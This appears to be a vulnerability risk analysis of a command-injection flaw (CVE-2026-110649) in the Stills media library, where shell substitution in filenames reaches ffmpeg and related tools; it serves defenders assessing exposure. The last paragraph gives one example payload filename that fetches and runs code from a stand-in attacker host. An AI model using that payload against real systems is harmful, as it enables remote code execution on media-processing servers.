Stills CVE-2026-110649

Requires that the application embedding Stills pass an attacker-influenced media file name or path into the library's processing routines (e.g. lib/content/video.js and lib/content/utils.js, which shelled out to ffmpeg/ffprobe), and that ffmpeg, ffprobe, gifsicle, or convert be invoked on that path. The exact trigger is a filename containing shell command-substitution syntax ($(...) or backticks); double-quoting in the pre-25.24.2 code did not neutralize it. Limiting factors: exploitation is only remote/unauthenticated if the consuming application exposes filename control to untrusted users - in deployments where file names are operator- or system-generated, an external attacker cannot reach the sink, so realistic risk is substantially lower than the raw score suggests.

The provided CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H = 9.3) describes an unauthenticated, low-complexity attack yielding full command execution, and the source-code evidence from the vendor's own patch (PRs #29/#30) confirms the root cause: filenames were interpolated into double-quoted shell strings passed to ffmpeg/ffprobe/gifsicle/convert, where $(...) and backticks still trigger command substitution. However, the 'network/unauthenticated' framing is optimistic for a Node.js media-processing LIBRARY: real exploitability hinges entirely on whether the CONSUMING application lets an attacker control media file names/paths - a signal the CVE data does not establish. No EPSS score, no CISA KEV listing, and no public PoC are present in the input, so this is a high-CVSS issue with no evidence of real-world exploitation at time of analysis. Net: a genuine, easily-triggered RCE primitive where the file path is attacker-influenced, but the raw 9.3 overstates risk for the common case where filenames are operator- or application-controlled rather than externally supplied.

An application built on the Stills library accepts or derives media file names from untrusted input and asks Stills to process them. An attacker supplies a file named something like $(curl attacker.com/x|sh).mp4; when Stills shells out to ffprobe/ffmpeg to read duration or extract frames, the embedded command substitution executes with the Node.js process privileges. No public exploit code was identified in the provided data, but the vulnerable shell-interpolation pattern is visible in the referenced pre-patch source.